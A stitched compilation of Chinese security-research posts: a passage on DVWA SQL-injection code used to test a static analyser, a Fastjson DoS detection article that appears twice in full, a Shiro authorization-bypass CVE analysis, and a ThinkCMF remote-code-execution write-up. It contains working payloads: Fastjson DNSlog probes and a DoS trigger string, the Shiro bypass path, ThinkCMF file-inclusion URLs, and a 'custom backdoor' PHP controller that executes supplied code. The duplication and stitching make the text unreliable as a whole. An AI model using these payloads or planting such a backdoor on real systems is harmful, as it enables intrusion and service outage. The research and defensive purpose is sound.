    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        $html .= '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        $html .= '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

dvwa/vulnerabilities/sqli_blind/source/low.php

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        $html .= '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        $html .= '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

dvwa/vulnerabilities/sqli/source/low.php

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

dvwa/vulnerabilities/brute/source/low.php

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        $html .= "<p>Welcome to the password protected area {$user}</p>";
        $html .= "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

虽说存在一些误报, 但是基本实现了漏洞分析查询的功能

漏报原因分析

  1. dvwa/vulnerabilities/sqli/source/medium.php
<?php

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

Medium级别的代码利用mysql_real_escape_string函数对以下特殊符号进行转义

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

但是此处为数字型注入不需要单引号, 可以绕过

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

所以这里还有优化空间, 比如多一步判断注入类型, 然后忽略无效的过滤

  1. dvwa/vulnerabilities/sqli/source/high.php
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?>

这里使用的是$_SESSION [ 'id' ]注入, 通过访问

dvwa/vulnerabilities/sqli/session-input.php

其实该点可控 $_SESSION[ 'id' ] = $_POST[ 'id' ];

<?php

define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';

dvwaPageStartup( array( 'authenticated', 'phpids' ) );

$page = dvwaPageNewGrab();
$page[ 'title' ] = 'SQL Injection Session Input' . $page[ 'title_separator' ].$page[ 'title' ];

if( isset( $_POST[ 'id' ] ) ) {
    $_SESSION[ 'id' ] =  $_POST[ 'id' ];
    //$page[ 'body' ] .= "Session ID set!<br /><br /><br />";
    $page[ 'body' ] .= "Session ID: {$_SESSION[ 'id' ]}<br /><br /><br />";
    $page[ 'body' ] .= "<script>window.opener.location.reload(true);</script>";
}

$page[ 'body' ] .= "
<form action=\"#\" method=\"POST\">
    <input type=\"text\" size=\"15\" name=\"id\">
    <input type=\"submit\" name=\"Submit\" value=\"Submit\">
</form>
<hr />
<br />

<button onclick=\"self.close();\">Close</button>";

dvwaSourceHtmlEcho( $page );

?>

但是从单文件来看, 该输入点不可控, 所以产生了漏报, 如果优化需要解析 include等节点进行跨文件判断

  1. dvwa/vulnerabilities/sqli_blind/source/medium.php
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        $html .= '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        $html .= '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

这里也是数字型注入的问题, 不再赘述

总结

本文重点在于静态分析部分的修复, 动态分析部分其实相对简单一些, 也就是剪枝的过程, 后续也可以实现.

我的想法是:

  1. 静态分析使用JoernCodeql等工具来实现, 然后生成导航图
  2. exp使用固定poc+ 动态变异 fuzzing 的思想
  3. 动态爬虫使用论文中所使用的crawler4j 或者最近比较火的crawlergo
  4. 然后后端使用Baidu Raspprvd来实现监控是否执行成功

PS.也可以实现一种类似动态跃点的标记, 比如挖掘反序列化的利用链, 具有某些特性的的节点,

比如 $a=$this->$ppp; $a->arr($b);

那么这个点只是L1级别的信息, 但是配合unserialize, 配合其他的类的__call,

将这些L1的标记组合起来,就能组合成存在风险的L2级别的安全风险.

最近对自动化审计AEG这方面比较感兴趣, 欢迎讨论.

参考

https://github.com/UUUUnotfound/Navex_fixed

针对Fastjson DoS 漏洞的检测,相对较好识别,但其需要发送 DoS 的请求包,就会有一个时间延迟,但是部分使用者或 SRC平台对 DoS 类漏洞持保守态度。

所以这里提出一种无损检测 Fastjson DoS 漏洞的方法。

首先有以下几种情况:

未知目标是否使用 Fastjson ,但站点有原始报错回显

如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样

例如

无回显,盲区分 Fastjson 和 Jackson

2020.03.24更新

可以通过DNS回显的方式检测后端是否使用Fastjson
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0

Java 系 Json 处理基本只有 Fastjson 和 Jackson。
由于 Jackson 相对比较严格, 这里可以很好分辨出 Fastjson 和 Jackson

如果请求包中的 json 如下:

{"name":"S", "age":21}

追加一个随机 key ,修改 json 为

{"name":"S", "age":21,"agsbdkjada__ss_d":123}

这里 Fastjson 是不会报错的, Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key,
所以会报错,服务器的响应包中多少会有异常回显

Fastjson:

Jackson:

无损检测原理

已经知道目标使用的是 Fastjson ,可以用以下 poc 去检测是否存在 DOS 漏洞

Fastjson < 1.2.60 在取不到值的时候会填充 \u001a ,
在1.2.60 进行了修复, 对 \x 后面的字符进行是否为16进制允许字符 (0-9a-fA-F) 的校验,
所以这里就可以手动 padding ,构造一个特殊的字符串

\x\u001a\u001a

测试代码:

Main.java

import com.alibaba.fastjson.JSON;

public class Main {
    public static void main(String[] args) {
        String payload = "{\"a\":\"\\x\u001a\u001a\"}";
        System.out.println(payload);
        Object o = JSON.parseObject(payload);
        System.out.println(o.getClass());
    }
}

Fastjson < 1.2.60

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>tophant</groupId>
    <artifactId>tcc</artifactId>
    <version>1.0-SNAPSHOT</version>
<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.59</version>
    </dependency>
</dependencies>

</project>

Fastjson == 1.2.60,可以看到报错

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>tophant</groupId>
    <artifactId>tcc</artifactId>
    <version>1.0-SNAPSHOT</version>
<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.60</version>
    </dependency>
</dependencies>

</project>

使用 Burp 测试

在 Burp 中测试可以使用 : eyJhIjoiXHgaGiJ9 (base64解码)
当后端 Fastjson 版本小于 1.2.60 时,使用该请求包不会延时不会报错

使用 {"a:"\x 进行请求就会发生 DOS

以上的检测方式也已经集成到C/ARS产品中,支持漏洞检测。

作者:斗象能力中心 TCC – 小胖虎

针对Fastjson DoS 漏洞的检测,相对较好识别,但其需要发送 DoS 的请求包,就会有一个时间延迟,但是部分使用者或 SRC平台对 DoS 类漏洞持保守态度。

所以这里提出一种无损检测 Fastjson DoS 漏洞的方法。

首先有以下几种情况:

未知目标是否使用 Fastjson ,但站点有原始报错回显

如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样

例如

无回显,盲区分 Fastjson 和 Jackson

2020.03.24更新

可以通过DNS回显的方式检测后端是否使用Fastjson
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0

Java 系 Json 处理基本只有 Fastjson 和 Jackson。
由于 Jackson 相对比较严格, 这里可以很好分辨出 Fastjson 和 Jackson

如果请求包中的 json 如下:

{"name":"S", "age":21}

追加一个随机 key ,修改 json 为

{"name":"S", "age":21,"agsbdkjada__ss_d":123}

这里 Fastjson 是不会报错的, Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key,
所以会报错,服务器的响应包中多少会有异常回显

Fastjson:

Jackson:

无损检测原理

已经知道目标使用的是 Fastjson ,可以用以下 poc 去检测是否存在 DOS 漏洞

Fastjson < 1.2.60 在取不到值的时候会填充 \u001a ,
在1.2.60 进行了修复, 对 \x 后面的字符进行是否为16进制允许字符 (0-9a-fA-F) 的校验,
所以这里就可以手动 padding ,构造一个特殊的字符串

\x\u001a\u001a

测试代码:

Main.java

import com.alibaba.fastjson.JSON;

public class Main {
    public static void main(String[] args) {
        String payload = "{\"a\":\"\\x\u001a\u001a\"}";
        System.out.println(payload);
        Object o = JSON.parseObject(payload);
        System.out.println(o.getClass());
    }
}

Fastjson < 1.2.60

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>tophant</groupId>
    <artifactId>tcc</artifactId>
    <version>1.0-SNAPSHOT</version>
<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.59</version>
    </dependency>
</dependencies>

</project>

Fastjson == 1.2.60,可以看到报错

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>tophant</groupId>
    <artifactId>tcc</artifactId>
    <version>1.0-SNAPSHOT</version>
<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.60</version>
    </dependency>
</dependencies>

</project>

使用 Burp 测试

在 Burp 中测试可以使用 : eyJhIjoiXHgaGiJ9 (base64解码)
当后端 Fastjson 版本小于 1.2.60 时,使用该请求包不会延时不会报错

使用 {"a:"\x 进行请求就会发生 DOS

以上的检测方式也已经集成到C/ARS产品中,支持漏洞检测。

作者:斗象能力中心 TCC – 小胖虎

前言

2020年3月23号,Shiro开发者Brian Demers在用户社区发表帖子,提醒shiro用户进行安全更新,本次更新进行了三个修复,其中就包括了对编号为CVE-2020-2957的Shrio授权绕过漏洞的修复。漏洞影响shiro 1.5.2版本以下。

1.png

分析过程

SHIRO-682

根据Shiro开发者在1.5.2版本中提交的commit中关于PathMatchingFilter类的测试用例,可以直接关联到JIRA issueSHIRO-682,该issue在1.5.0版本中进行了修复。而1.5.2版本中更新则是对其绕过的修复。

2.png

SHIRO-682的修复了spring框架下uri = uri + ‘/’ 绕过Shiro防护的问题。然后下面的描述则清晰得描述了造成改错误的原因。

在Spring web项目中,请求URI/resource/menus和/resource/menus/都可以访问到服务器的资源。

但在Shiro中的URL路径表达式pathPattern可以正确匹配/resource/menus,但不能正确匹配/resource/menus/,导致过滤链无法正确匹配,从而绕Shiro的防护机制。

3.png

Shiro拦截器

Shiro框架通过拦截器功能来实现对用户访问权限的控制和拦截。Shiro中常见的拦截器有anon,authc等拦截器。

1.anon为匿名拦截器,不需要登录就能访问,一般用于静态资源,或者移动端接口

2.authc为登录拦截器,需要登录认证才能访问的资源。

用户可以在Shiro.ini编写匹配URL配置,将会拦截匹配的URL,并执行响应的拦截器。从而实现对URL的访问控制,URL路径表达式通常为ANT格式。如下配置,访问 /index.html主页的时候,Shiro将不会对其进行登录判断,anon拦截器不需要登录就能进行访问。而对于/user/xiaoming 等 /user/xiaogang等接口,authc拦截器将会对其进行登录判断,有登录认证才能访问资源。

[urls]
/index.html = anon
/user/** = authc

Shiro的URL路径表达式为Ant 格式,路径通配符支持?***。

?:匹配一个字符
*:匹配零个或多个字符串
**:匹配路径中的零个或多个路径

其中*表示匹配零个或多个字符串,/*可以匹配/hello,但匹配不到/hello/因为*通配符无法匹配路径。假设/hello接口设置了authc拦截器,访问/hello将会被进行权限判断,如果请求的URI为/hello/呢,/*URL路径表达式将无法正确匹配,放行。然后进入到spring(Servlet)拦截器,spring中/hello形式和/hello/形式的URL访问的资源是一样的。

漏洞复现

明白上文的内容,漏洞复现就很容易了,复现环境代码主要参考网上的开源demo

1.下载demo代码shiro-basic

2.导入idea

3.Shiro版本1.4.2

    <dependency>
        <groupId>org.apache.shiro</groupId>
        <artifactId>shiro-web</artifactId>
        <version>1.4.2</version>
    </dependency>
    <dependency>
        <groupId>org.apache.shiro</groupId>
        <artifactId>shiro-spring</artifactId>
        <version>1.4.2</version>
    </dependency>

4.修改ShiroConfig配置文件,添加authc拦截器的拦截正则

    @Bean
    ShiroFilterFactoryBean shiroFilterFactoryBean() {
        ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
        ...
        ...
        //map.put("/*", "authc");
        map.put("/hello/*", "authc"); 
        bean.setFilterChainDefinitionMap(map);
        return bean;
    }

5.修改路由控制器方法

@GetMapping("/hello/{currentPage}")
    public String hello(@PathVariable Integer currentPage) {
        return "hello";
}

6.启动应用

访问/hello/1接口,可以看到被authc拦截器拦截了,将会跳转到登录接口进行登录。

4.png

访问/hello/1/,成功绕过authc拦截器,获取到了资源。

5.png

漏洞成因

漏洞初始成因可以定位到 PathMatchingFilterChainResolver的getChain函数下,该函数作用根据URL路径匹配中配置的url路径表达式来匹配输入的URL,判断是否匹配拦截器,匹配成功将会返回响应的拦截器执行链,让ShiroFither执行权限操作的。

其对于URL路径表达式和输入URL的匹配主要通过pathMathches函数进行匹配。

6.png

pathMatches函数其最终会调用shiro.util.AntPathMatcher类中doMatch的对于ant格式的pathPattern和requestURI进行匹配。

//pathMatches:135, PathMatchingFilterChainResolver (org.apache.shiro.web.filter.mgt)
protected boolean pathMatches(String pattern, String path) {
        PatternMatcher pathMatcher = this.getPathMatcher();
        return pathMatcher.matches(pattern, path);
}

doMatch:109, AntPathMatcher (org.apache.shiro.util),当Shiro 的Ant格式的pathPattern 中的的*通配符是不支持匹配路径的,所以/hello/*不能成功匹配/hello/1/,也就不会触发authc拦截器进行权限拦截。从而成功绕过了Shiro拦截器,而后再进入到spring拦截器中,/hello/1/与/hello/1能获取到相同的资源。

7.png

漏洞修复

该漏洞是由中国开发者在2019年3月25日在ShiroGitHub项目上提交的issue,并PR了分支代码589f10添加漏洞修复代码,最终分支代码在1.5.0版本进行了合并,合并时间为2019年11月20日。

1.5.0版本修复

1.5.0版本修复源自tomsun28提交的PR代码,代码修复位置为pathsMatch:125, PathMatchingFilter (org.apache.shiro.web.filter),该修复方式是通过判断requestURI是否以/为结尾,如果以/结尾的话,则去掉尾部的/符号在与URL表达式进行比较。

也就是当requestURI为/hello/1/等以/为结尾的URI的时候,都会被清除最后的/号,再进行URL路径匹配。

8.png

≤1.5.1版本绕过

观察1.5.2版本中新添加的测试用例

9.png

切换测试版本到1.5.1中,然后从中上面的测试用例提取payload进行绕过。

在1.5.1版本中,添加/还是会直接跳转到登录。

10.png

绕过payload,/fdsf;/../hello/1,成功绕过。

11.png

问题同样可以定位到getChain函数中对于requestURI的获取中,如下图所示,this.getPathWithinApplication(request)获取的requestURI为/fdsf,而不是我们输入的/fdsf;/../hello/1,从而导致后面的URI路径模式匹配返回False,从而再次绕过了shiro拦截器。

12.png

getPathWithinApplication函数中会调用WebUtils (org.apache.shiro.web.util)中的getRequestUri函数获取RequestUri。

public static String getRequestUri(HttpServletRequest request) {
        String uri = (String)request.getAttribute("javax.servlet.include.request_uri");
        if (uri == null) {
            uri = request.getRequestURI();
        }
        return normalize(decodeAndCleanUriString(request, uri));
    }

RequestUri函数中最终调用decodeAndCleanUriString函数对URI进行清洗。

private static String decodeAndCleanUriString(HttpServletRequest request, String uri) {
      uri = decodeRequestString(request, uri);
      int semicolonIndex = uri.indexOf(59);//获取;号的位置
      return semicolonIndex != -1 ? uri.substring(0, semicolonIndex) : uri;
  }

如果URI中存在;号的话,则会删除其后面的所有字符。/fdsf;/../hello/1/最终也就变成了/fdsf。

13.png

1.5.2版本修复

再1.5.2版本中对其进行了修复,获取requestURI的方式从request.getRequestUri直接获取的方式更改为获取request的ContextPath,ServletPath,PathInfo,然后再重新拼接而成。

14.png

输入的/fdsf;/../hello/1/,将会被拼接为//hello/1/1再进行URI路径匹配,则无法绕过拦截器。

15.png

总结

在web容器中,Shiro的拦截器是先与spring(Servlet)执行,两者拦截器对于URI模式匹配的差异,导致Shiro拦截器的绕过,而Shiro对其进行了两次修复,其一为删除requestURI后面的/号进行URL路径匹配,算是简单的修复了添加/号绕过的方式,而后在1.5.2版本中通过requestURI自主拼接的方式修复了/fdsf;/../hello/1/等使用了;号方式的绕过。

而后又会有什么形式的绕过,或者又有什么其它容器导致的差异化绕过。则未可知。

修复方案

1.升级1.5.2版本及以上

2.尽量避免使用*通配符作为动态路由拦截器的URL路径表达式。

参考链接

1.https://github.com/apache/shiro/pull/127

2.https://blog.51cto.com/luchunli/1835108

3.https://issues.apache.org/jira/browse/SHIRO-682

4.https://www.syshlang.com/96db3174/

5.http://shiro-user.582556.n2.nabble.com/Re-ANNOUNCE-CVE-2020-1957-Apache-Shiro-1-5-2-released-td7582136.html

*本文作者:[email protected]斗象能力中心TCC,转载请注明来自FreeBuf.COM

一、背景

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。

ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。

每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。

官网:http://www.thinkcmf.com

二、影响版本

ThinkCMF X1.6.0

ThinkCMF X2.1.0

ThinkCMF X2.2.0

ThinkCMF X2.2.1

ThinkCMF X2.2.2

三、漏洞危害

远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。

四、漏洞挖掘

根据index.php中的配置,他的项目路径为application,打开 Portal 下的 Controller 目录,选择一个控制类文件。

1.png

发现他的父类为Common\Controller\HomebaseController。

在HomeBaseController中加入如下测试代码

1.png

ThinkPHP是一套基于MVC的应用程序框架,被分成三个核心部件:模型(M)、视图(V)、控制器(C)。

由于添加的代码在控制器中,根据ThinkPHP框架约定可以通过a参数来指定对应的函数名,但是该函数的修饰符必须为Public, 而添加的代码正好符合该条件。

可以通过如下URL进行访问,并且可以添加GET参数arg1传递给函数。

http://127.0.0.1/cmfx-master/?a=test_public&arg1=run%20success

1.png

HomeBaseController类中有一些访问权限为public的函数,

1.png

重点关注display函数.看描述就是可以自定义加载模版,通过$this->parseTemplate 函数根据约定确定模版路径,如果不符合原先的约定将会从当前目录开始匹配。

然后调用THinkphp Controller 函数的display方法

/**

     * 加载模板和页面输出 可以返回输出内容

     * @access public 

     * @param string $templateFile 模板文件名 

     * @param string $charset 模板输出字符集 

     * @param string $contentType 输出类型

     * @param string $content 模板输出内容 

     * @return mixed 

     */ 

      public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') { 

      parent::display($this->parseTemplate($templateFile), $charset, $contentType,$content,$prefix);

      }

再往下就是调用Think View的fetch方法,这里的TMPL_ENGINE_TYPE 为Think, 最终模版内容解析在ParseTemplateBehavior中完成

如下调用即可加载任意文件

http://127.0.0.1:81/cmfx-master/?a=display&templateFile=README.md

1.png

要利用该方法shell,还需要配合前台的一个上传功能,通过包含自己上传的文件来shell,难免有些麻烦。

五、影响范围

往下面翻阅发现还有fetch方法,display方法相对fetch只是多了一个render的过程,而且这里不需要知道文件路径

最终完美payload (打码)

http://127.0.0.1:81/cmfx-master/?a=fetch&****=********

通过在斗象智能安全资产情报搜索关键字,使用ThinkCMF的站点

https://arl.riskivy.com/products/lighthouse?query=headers:%22X-Powered-By:%20ThinkCMF%22

1.png

六、修复方法

将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected

七、自定义后门

可通过新建如下控制类

namespace Portal\Controller;

use Think\Controller;

class DoorController extends Controller {

public function index($content) {

parent::display('', '', '',$content, '');

}

}

由于是测试,content未做任何处理,直接传输php代码即可执行。

1.png

*本文作者:斗象能力中心 TCC – 星光,转载请注明来自FreeBuf.COM